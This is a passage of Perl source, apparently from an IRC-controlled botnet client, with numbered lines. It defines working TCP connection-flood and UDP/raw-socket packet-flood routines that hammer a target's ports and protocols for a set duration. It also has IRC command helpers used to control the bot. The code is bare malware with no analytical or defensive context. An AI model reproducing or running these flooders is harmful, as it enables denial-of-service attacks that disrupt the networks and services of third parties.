  700. sleep $sleep;
  701. }
  702. }
  703. exit;
  704. }
  705. }
  706. }
  707.  
  708. sub tcpflooder {
  709. my $itime = time;
  710. my ($cur_time);
  711. my ($ia,$pa,$proto,$j,$l,$t);
  712. $ia=inet_aton($_[0]);
  713. $pa=sockaddr_in($_[1],$ia);
  714. $ftime=$_[2];
  715. $proto=getprotobyname('tcp');
  716. $j=0;$l=0;
  717. $cur_time = time - $itime;
  718. while ($l<1000){
  719. $cur_time = time - $itime;
  720. last if $cur_time >= $ftime;
  721. $t="SOCK$l";
  722. socket($t,PF_INET,SOCK_STREAM,$proto);
  723. connect($t,$pa)||$j--;
  724. $j++;$l++;
  725. }
  726. $l=0;
  727. while ($l<1000){
  728. $cur_time = time - $itime;
  729. last if $cur_time >= $ftime;
  730. $t="SOCK$l";
  731. shutdown($t,2);
  732. $l++;
  733. }
  734. }
  735.  
  736. sub udpflooder {
  737. my $iaddr = inet_aton($_[0]);
  738. my $msg = 'A' x $_[1];
  739. my $ftime = $_[2];
  740. my $cp = 0;
  741. my (%pacotes);
  742. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  743. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  744. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  745. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  746. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  747. return(undef) if $cp == 4;
  748. my $itime = time;
  749. my ($cur_time);
  750. while ( 1 ) {
  751. for (my $porta = 1;
  752. $porta <= 65000; $porta++) {
  753. $cur_time = time - $itime;
  754. last if $cur_time >= $ftime;
  755. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  756. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  757. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  758. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  759.  
  760.  
  761. for (my $pc = 3;
  762. $pc <= 255;$pc++) {
  763. next if $pc == 6;
  764. $cur_time = time - $itime;
  765. last if $cur_time >= $ftime;
  766. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  767. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  768. }
  769. }
  770. last if $cur_time >= $ftime;
  771. }
  772. return($cur_time, %pacotes);
  773. }
  774.  
  775. sub ctcp {
  776. return unless $#_ == 1;
  777. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  778. }
  779.  
  780. sub msg {
  781. return unless $#_ == 1;
  782. sendraw("PRIVMSG $_[0] :$_[1]");
  783. }
  784.  
  785. sub notice {
  786. return unless $#_ == 1;
  787. sendraw("NOTICE $_[0] :$_[1]");
  788. }
  789.  
  790. sub op {
  791. return unless $#_ == 1;
  792. sendraw("MODE $_[0] +o $_[1]");
  793. }
  794.  
  795. sub deop {
  796. return unless $#_ == 1;
  797. sendraw("MODE $_[0] -o $_[1]");
  798. }
  799.  
  800. sub j {
  801. &join(@_);
  802. }
  803.  
  804. sub join {
  805. return unless $#_ == 0;
  806. sendraw("JOIN $_[0]");
  807.  
  808. }
  809. sub p { part(@_);
  810. }
  811.  
  812. sub part {
  813. sendraw("PART $_[0]");
  814. }
  815.  
  816. sub nick {
  817. return unless $#_ == 0;
  818. sendraw("NICK $_[0]");
  819. }
  820.  
  821. sub quit {
  822. sendraw("QUIT $_[0]");
  823. }
  824.  
  825. }
  826. #ionlyknownothing#
  827.  
  828.  
  829.  
  830.